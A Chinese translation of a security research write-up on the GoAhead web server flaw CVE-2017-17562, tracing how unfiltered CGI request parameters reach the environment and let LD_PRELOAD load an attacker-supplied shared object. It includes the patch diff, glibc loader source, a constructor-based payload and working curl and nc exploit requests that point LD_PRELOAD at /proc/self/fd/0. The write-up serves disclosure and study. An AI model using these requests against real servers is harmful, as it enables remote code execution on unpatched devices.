*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
本文是关于GoAhead web server远程代码执行漏洞(CVE-2017-17562)的分析,该漏洞源于在初始化CGI脚本环境时使用了不受信的HTTP请求参数,会对所有启用了动态链接可执行文件(CGI脚本)的用户造成影响。在此过程中,当CGI脚本调用glibc动态链接器时,特殊变量LD_PRELOAD可被注入滥用,从而导致远程代码执行。该漏洞是个典型的环境变量案例,能推广应用到其它不安全的软件架构漏洞发现中。
GoAhead在其官网声称为“世界上最流行的微型嵌入式Web服务器”,被IBM、HP、Oracle、波音、D-link和摩托罗拉等公司广泛使用。通过Shodan搜索,可探测到全球共有735,000多个GoAhead当前服务器在线。
漏洞分析
在我们进行该项漏洞研究期间,我们发现,该漏洞影响范围涉及GoAhead的早期版本2.5.0和当前最新版本(3.x),几乎是全版本覆盖。可以通过以下方式对存在漏洞的GoAhead程序进行安装编译操作:# Cloning and running the vulnerable GoAhead daemon
daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: 20583, done.
remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583
Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.
Resolving deltas: 100% (14843/14843), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test
configure.bat dist farm.json LICENSE.md make.bat package.json projects src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead
代码分析
漏洞存在于cgiHandler函数中,该函数能为新进程的envp参数分配一个指针数组,然后使用从HTTP请求参数中获取的键值对来进行初始化。最后,launchCgi函数会被fork和execve所执行的CGI脚本调用。
我们可看到在cgiHandler函数中,程序只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤,其他变量被误认为可信,并未被采取进一步过滤措施,这就使得允许攻击者可以在新的CGI进程中控制环境变量,非常危险。# goahead/src/cgi.c:cgihandler
...
PUBLIC bool cgiHandler(Webs *wp)
{
Cgi *cgip;
WebsKey *s;
char cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
char *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;
CgiPid pHandle;
int n, envpsize, argpsize, cid;
...
/*
Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
loop includes logic to grow the array size via wrealloc.
*/
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string &&
strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
/*
Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
should already exist.
*/
if (wp->cgiStdin == NULL) {
wp->cgiStdin = websGetCgiCommName();
}
stdIn = wp->cgiStdin;
stdOut = websGetCgiCommName();
if (wp->cgifd >= 0) {
close(wp->cgifd);
wp->cgifd = -1;
}
/*
Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be
done after the process completes.
*/
if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
...
补丁分析
该漏洞可以通过跳过特殊参数名称,而对其它参数添加一个静态字符串前缀来修复,即使对于形式为a = b%00LD_PRELOAD%3D的参数,似乎也能有针对性解决。补丁形式如下:# git diff f9ea55a 6f786c1 src/cgi.c
diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..18d9b45b 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
- if (s->content.valid && s->content.type == string &&
- strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
- strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
- envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+ if (s->content.valid && s->content.type == string) {
+ if (smatch(s->name.value.string, "REMOTE_HOST") ||
+ smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+ smatch(s->name.value.string, "IFS") ||
+ smatch(s->name.value.string, "CDPATH") ||
+ smatch(s->name.value.string, "PATH") ||
+ sstarts(s->name.value.string, "LD_")) {
+ continue;
+ }
+ envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+ s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
漏洞利用分析
虽然将任意环境变量注入新进程的漏洞利用功能看起来相对良性,但有时候一些“特殊”环境变量会导致动态链接程序的其它控制流产生。
ELF动态链接器
GoAhead的二进制ELF文件头信息显示,它是一个64位动态链接的可执行文件,解释程序在INTERP段被指定,并且指向动态链接器/lib64/ld-linux-x86-64.so.2。# Reading the ELF header
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xf80
Start of program headers: 64 (bytes into file)
Start of section headers: 21904 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 34
Section header string table index: 33
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8 R E 0x8
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
...
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
在动态链接程序执行过程中,动态链接器是首先运行的代码,它负责链接加载共享对象并解析各种符号。为了获得goahead进程加载的所有共享对象列表,我们可以把特殊的环境变量LD_TRACE_LOADED_OBJECTS设置为1,随后,它会显示加载的库信息并退出。如下所示:# ld.so LD_TRACE_LOADED_OBJECTS
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead
linux-vdso.so.1 => (0x00007fff31bb4000)
libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)
/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
在不运行动态链接器的情况下,我们也可以通过静态方式找到该信息,方法是grep方式递归查找每个ELF共享对象中定义的DT_NEEDED条目:
# statically finding shared object dependancies
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libgo.so]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
注意:可能有人注意到这里缺少了linux-vdso.so.1,这没问题,vDSO是由内核映射进用户进程的特殊共享库,详细信息可参考man 7 vdso。
特殊环境变量
所以这些看似正常,但怎么又和环境变量注入相关呢? 那么...我们知道在新进程中,动态链接器是首先被执行的代码 - 如果我们检查man 8 ld.so后可以发现,一些特殊环境变量的默认操作行为是可以被修改的。我比较喜欢看源码,我们来一挖究竟。其中dl_main函数就是动态链接器的主要入口点,如下# glibc/elf/rtld.c:dl_main
static void
dl_main (const ElfW(Phdr) *phdr,
ElfW(Word) phnum,
ElfW(Addr) *user_entry,
ElfW(auxv_t) *auxv)
{
const ElfW(Phdr) *ph;
enum mode mode;
struct link_map *main_map;
size_t file_size;
char *file;
bool has_interp = false;
unsigned int i;
...
/* Process the environment variable which control the behaviour. */
process_envvars (&mode);
该函数首先执行的任务是调用process_envvars方法:# glibc/elf/rtld.c:process_envvars
static void
process_envvars (enum mode *modep)
{
char **runp = _environ;
char *envline;
enum mode mode = normal;
char *debug_output = NULL;
/* This is the default place for profiling data file. */
GLRO(dl_profile_output)
= &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];
while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
{
size_t len = 0;
while (envline[len] != '\0' && envline[len] != '=')
++len;
if (envline[len] != '=')
/* This is a "LD_" variable at the end of the string without
a '=' character. Ignore it since otherwise we will access
invalid memory below. */
continue;
switch (len)
{
case 4:
/* Warning level, verbose or not. */
if (memcmp (envline, "WARN", 4) == 0)
GLRO(dl_verbose) = envline[5] != '\0';
break;
case 5:
/* Debugging of the dynamic linker? */
if (memcmp (envline, "DEBUG", 5) == 0)
{
process_dl_debug (&envline[6]);
break;
}
if (memcmp (envline, "AUDIT", 5) == 0)
audit_list_string = &envline[6];
break;
case 7:
/* Print information about versions. */
if (memcmp (envline, "VERBOSE", 7) == 0)
{
version_info = envline[8] != '\0';
break;
}
/* List of objects to be preloaded. */
if (memcmp (envline, "PRELOAD", 7) == 0)
{
preloadlist = &envline[8];
break;
}
可以看到,动态链接器会去解析envp数组,如果找到特殊变量名称,则会执行不同的代码路径。非常有意思的是,case 7代码对初始化preloadlist的LD_PRELOAD进程处理机制。
深入分析dl_main可知,如果preloadlist不为NULL,则handle_ld_preload就会被调用,如下:# glibc/elf/rtld.c:dl_main
...
/* We have two ways to specify objects to preload: via environment
variable and via the file /etc/ld.so.preload. The latter can also
be used when security is enabled. */
assert (*first_preload == NULL);
struct link_map **preloads = NULL;
unsigned int npreloads = 0;
if (__glibc_unlikely (preloadlist != NULL))
{
HP_TIMING_NOW (start);
npreloads += handle_ld_preload (preloadlist, main_map);
HP_TIMING_NOW (stop);
HP_TIMING_DIFF (diff, start, stop);
HP_TIMING_ACCUM_NT (load_time, diff);
}
...
handle_ld_preload方法会解析preloadlist,并把其值当成要加载的一个共享对象列表:# glibc/elf/rtld.c:handle_ld_preload
/* The list preloaded objects. */
static const char *preloadlist attribute_relro;
/* Nonzero if information about versions has to be printed. */
static int version_info attribute_relro;
/* The LD_PRELOAD environment variable gives list of libraries
separated by white space or colons that are loaded before the
executable's dependencies and prepended to the global scope list.
(If the binary is running setuid all elements containing a '/' are
ignored since it is insecure.) Return the number of preloads
performed. */
unsigned int
handle_ld_preload (const char *preloadlist, struct link_map *main_map)
{
unsigned int npreloads = 0;
const char *p = preloadlist;
char fname[SECURE_PATH_LIMIT];
while (*p != '\0')
{
/* Split preload list at space/colon. */
size_t len = strcspn (p, " :");
if (len > 0 && len < sizeof (fname))
{
memcpy (fname, p, len);
fname[len] = '\0';
}
else
fname[0] = '\0';
/* Skip over the substring and the following delimiter. */
p += len;
if (*p != '\0')
++p;
if (dso_name_valid_for_suid (fname))
npreloads += do_preload (fname, main_map, "LD_PRELOAD");
}
return npreloads;
}
综合分析一下可知:我们能对goahead环境变量LD_PRELOAD进行注入,我们可以利用glibc处理特殊变量(如LD_PRELOAD等)的方式,来加载其它任意共享对象。
ELF格式的SO文件
所以,这就非常厉害了,我们能强制加载任意共享对象,但如何能利用它实现代码执行呢?检查.init和.fini段代码后可以发现,如果我们用构造函数属性来包装修饰一个方法函数,那我们就能强制该方法函数在Main方法之前被调用执行。如下PoC:# PoC/payload.c
#include
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
将payload.c编译为共享对象:# Compiling payload.c as shared object.
daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so
daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World!
daniel@makemyday:~/goahead/PoC$
好了,如果我们在测试系统上执行该PoC,会产生什么效果呢?如下执行一个简单的PoC:# Trying a simple PoC
daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so
-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so
daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10
HTTP/1.0 200 OK
Date: Wed Dec 13 02:38:56 2017
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type: text/html
daniel@makemyday:~/goahead/PoC$
运行之后可以看到,我们的共享代码由cgitest进程通过LD_PRELOAD执行了。
LINUX下的 /PROC/SELF/FD/0目录利用
还有一个关键问题就是,即使我们可以从本地服务器加载共享对象,且能达到代码执行目的,但我们如何将构造的恶意共享对象注入到远程目标服务器中呢?如果不能实现这点,那么合法的共享对象对我们也没什么用处,漏洞利用危害也会相对较低。
幸运的是,launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求内容的临时文件,这也就是说,服务器上会有一个包含用户提供的数据文件,并且可以通过LD_PRELOAD=/tmp/cgi-XXXXXX的方式进行引用。# goahead/src/cgi.c:launchCgi
/*
Launch the CGI process and return a handle to it.
*/
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
int fdin, fdout, pid;
trace(5, "cgi: run %s", cgiPath);
if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdin: ", cgiPath);
return -1;
}
if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdout: ", cgiPath);
return -1;
}
pid = vfork();
if (pid == 0) {
/*
Child
*/
if (dup2(fdin, 0) < 0) {
printf("content-type: text/html\n\nDup of stdin failed\n");
_exit(1);
} else if (dup2(fdout, 1) < 0) {
printf("content-type: text/html\n\nDup of stdout failed\n");
_exit(1);
} else if (execve(cgiPath, argp, envp) == -1) {
printf("content-type: text/html\n\nExecution of cgi process failed\n");
}
...
}
不过,这种方式稍显模糊,需要猜测包含POST内容的临时文件,但好在Linux procfs文件系统有一个很好的符号链接,我们可以用它来引用stdin描述符,从而指向我们的临时文件,就比如将 LD_PRELOAD指向/proc/self/fd/0,或使用/dev/stdin来访问临时文件。# linux/fs/proc/self.c
static const char *proc_self_get_link(struct dentry *dentry,
struct inode *inode,
struct delayed_call *done)
{
struct pid_namespace *ns = inode->i_sb->s_fs_info;
pid_t tgid = task_tgid_nr_ns(current, ns);
char *name;
if (!tgid)
return ERR_PTR(-ENOENT);
/* 11 for max length of signed int in decimal + NULL term */
name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);
if (unlikely(!name))
return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);
sprintf(name, "%d", tgid);
set_delayed_call(done, kfree_link, name);
return name;
}
static const struct inode_operations proc_self_inode_operations = {
.get_link = proc_self_get_link,
};
综合分析可知,我们可在POST请求中内置一个包含构造函数的恶意共享对象,当程序加载后,该构造函数会被调用执行。当然,也可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令,通过该命令指向包含测试Payload的临时文件,也能实现目的。如下在POST请求中利用命令行实现漏洞利用:# exploiting via the command line
daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
daniel@makemyday:~/goahead/PoC$
总结
该漏洞是一个对环境变量LD_PRELOAD的特殊利用案例,几乎影响所有GoAhead版本软件。这种漏洞可能还存在于其它应用服务中,非常有意思,它们只是对漏洞字符串的简单利用,还不需要涉及代码审计层面。
尽管在大多Web应用服务中,CGI代码处理机制相对稳定,但在一些模块中可能还存在着明显的代码错误,这些错误会导致很多异常漏洞,对此,我建议可先用grep命令来查找这个websDefineHandler入口地址。
如果你对链接和加载机制感兴趣,可参考这两篇文章(一, 二),感谢阅读。
*参考来源:elttam,freebuf小编clouds编译,转载请注明来自FreeBuf.COM